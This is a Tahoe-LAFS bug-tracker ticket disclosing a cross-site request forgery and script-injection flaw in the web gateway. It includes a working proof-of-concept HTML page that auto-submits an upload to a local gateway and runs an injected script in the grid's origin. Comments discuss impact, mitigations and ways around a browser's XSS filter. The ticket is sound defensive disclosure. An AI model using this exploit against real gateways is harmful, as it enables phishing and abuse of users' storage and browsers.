Opened at 2012-11-15T02:47:10Z
Last modified at 2013-09-14T17:41:18Z
#1859 new defect
Proof-of-concept attack: Upload and execute attacker controlled js from any domain.
Reported by: | nejucomo | Owned by: | davidsarah |
---|---|---|---|
Priority: | major | Milestone: | undecided |
Component: | code-frontend-web | Version: | 1.9.2 |
Keywords: | security javascript same-origin capleak websec | Cc: | frederik.braun+tahoe@… |
Launchpad Bug: |
Description (last modified by nejucomo)
Proof of Concept Attack
The following proof of concept shows how an html file loaded from any domain into (some) browsers with javascript enabled can inject an attacker controlled script into a grid, and then cause the user to execute that script in the domain of the grid:
<html> <head> <script> var PAYLOAD = '\x3chtml\x3e\x3chead\x3e\x3cscript\x3ealert("OH NOES! WHY ATTACKER CODE IN MAI DOMAIN " + document.domain + "?!")\x3c/script\x3e\x3c/head\x3e\x3c/html\x3e'; window.onload = function () { var payload_input = document.getElementById('payload_input'); payload_input.value = PAYLOAD var the_form = document.getElementById('the_form'); the_form.submit(); } </script> </head> <body id="body"> <p> demo attack: </p> <p> This page attempts to inject an attacker controlled script into a <a href="https://tahoe-lafs.org">tahoe-lafs</a> grid, no matter which domain this file is loaded from. </p> <form id="the_form" method="POST" action="http://127.0.0.1:3456/uri?t=upload&when_done=/uri/%25(uri)s?filename=payload.html" enctype="multipart/form-data" > <input id="payload_input" type="text" name="file"></input> </form> </body> </html>
Mitigations:
There are several moving parts at work here. The when_done parameter with uri substitution was very convenient.
I think an upload capability would be the most consistent and thorough solution. Removing bits and pieces which may otherwise be useful, like when_done, feels like a piecemeal defense.
Requiring CSRF tokens may be more comprehensive, but also doesn't sit well with the rest of the capability model. (A CSRF token would be a bit like a "make a this kind of http request" temporary capability.)
Related Tickets:
- #615 is about illicitly gaining victim capabilities; whereas this ticket is about bootstrapping an attack and/or abusing ambient authority.
- #1215 is about adding CORS support and how that may create a vulnerability; this script demonstrates even without CORS support similar vulnerabilities already exist.
Change History (10)
comment:1 Changed at 2012-11-15T02:50:25Z by davidsarah
- Component changed from unknown to code-frontend-web
- Keywords security javascript same-origin capleak added
- Priority changed from normal to major
comment:2 Changed at 2012-11-15T02:55:43Z by nejucomo
- Description modified (diff)
comment:3 Changed at 2012-11-15T04:15:46Z by nejucomo
- Description modified (diff)
comment:4 Changed at 2012-11-15T04:23:37Z by nejucomo
comment:5 Changed at 2012-11-15T05:37:30Z by davidsarah
I think it's easy to defeat Chrome's restriction here, by bouncing the when_done request off the attacker's server (which can be at any domain).
comment:6 Changed at 2012-11-15T10:06:02Z by ChosenOne
- Cc frederik.braun+tahoe@… added
comment:7 Changed at 2012-11-15T17:42:37Z by nejucomo
Impact:
I'm a bit embarrassed that I didn't include an impact summary for users: I believe using only this technique, a victim would be vulnerable to malicious javascript which:
- uploads content into a grid (possibly filling up available space)
- accesses any content in the grid for which it (or the attacker) *already knows* a capability
- phishes, by presenting pages that look like the normal tahoe UI but which record any secrets entered into those modified pages
- other annoyances: using bandwidth, opening browser windows, running distributed bitcoin miners, burning cpu, eating memory
Detection, Mitigation, and Recovery Strategies:
In all cases, there are two broad mitigations: Do not use a browser which can connect to a tahoe gateway, *or* disable javascript on that browser.
Note that the first strategy may actually be tricky: Even if you never access a gateway from your browser, if they are both running on the same host, this attack may be possible.
Storage Attack:
The scenario of an attacker storing data with this technique is very similar to an attacker knowing the introducer and uploading it themselves. It is already the case that any participant in a grid may upload "too much" content, so the primary difference is that the attacker may not be someone who has received the introducer.furl.
Detection would require all participants to attest to their storage usage then to subtract the difference. This assumes garbage collection is in place. If the participants don't trust each other they *could* publish all of their verify caps, but this exposes some privacy details (the size of files/directories and their shape).
For the first case, this is very similar to a shared grid in which one participant uploads a lot of content. Detection would require noticing more data is being uploaded than is expected.
The attacker gains the ability to upload which they could also have by knowing the introducer furl, so this scenario is not too different from a loosely managed friend net.
Whether or not the grid is a loosely banded friend net or a centrally managed grid, recovery involves garbage collection. Detection re
In the case that the grid is "tightly" controlled, so that all participants are known and their storage needs are known
Accessing Attacker-Controlled Data:
Once a malicious script has stored data it can retrieve that data. The primary impact is using the victim's bandwidth. I'm not sure of any mitigation or recovery strategies.
Phishing:
A mitigation for phishing is to familiarize yourself with the URL scheme for all of the standard pages. If the URL path begins with /uri, /file, /cap, or /named *and* it looks like one of the other url pages, it is potentially a phishing attack.
Other Annoyances / General:
In general, detecting malicious javascript may be possible by using your browser's javascript console or debugger. Using a network diagnostic tool which shows all http requests (also typically available in a browser's javascript or web-developer console), could reveal malicious requests, although it may take some effort to distinguish legitimate and illegitimate requests.
comment:8 Changed at 2012-11-15T17:44:06Z by nejucomo
Users are *probably not vulnerable* to:
- Having their data read by the attacker (because there's no known way to discover the victim's caps without phishing).
- Having their data overwritten.
comment:9 Changed at 2013-07-04T18:13:33Z by nejucomo
- Description modified (diff)
This is related to:
- #587 "Web nodes provide ambient upload authority"
- The accounting proposal - https://tahoe-lafs.org/trac/tahoe-lafs/browser/docs/proposed/accounting-overview.txt
- Note: So long as the web interface requires an explicit, non-ambient authority for space usage, this attack vector will be less useful.
comment:10 Changed at 2013-09-14T17:41:18Z by zooko
- Keywords websec added
Browser Notes
I tested this with google chrome 18.0.1025.142 (not chromium) and ice weasel 3.5.16, both on debian squeeze (6.0.4). The attack worked in the latter but not the former.
In the former case, chrome said something like ~"refusing to evaluate javascript which was seen in upload data" in the javascript console. That feature surprises me and I would expect it is almost impossible to detect and prevent XSS completely; although maybe they can almost stamp out "reflected XSS" under which this demonstration attack falls.
Reflected XSS is when an attack script is served in the response of the same HTTP transaction that included the attack vector in the request. A "stored XSS" is one in which the attack vector lives in some state and is returned in a different response. Because this attack stores a malicious script in a grid, it's apparent that stored XSS attacks are also likely, and these may thwart chrome. Other means to thwart might be various forms of obfuscation. (David-Sarah asked about gzipping the payload, which I have not tested.)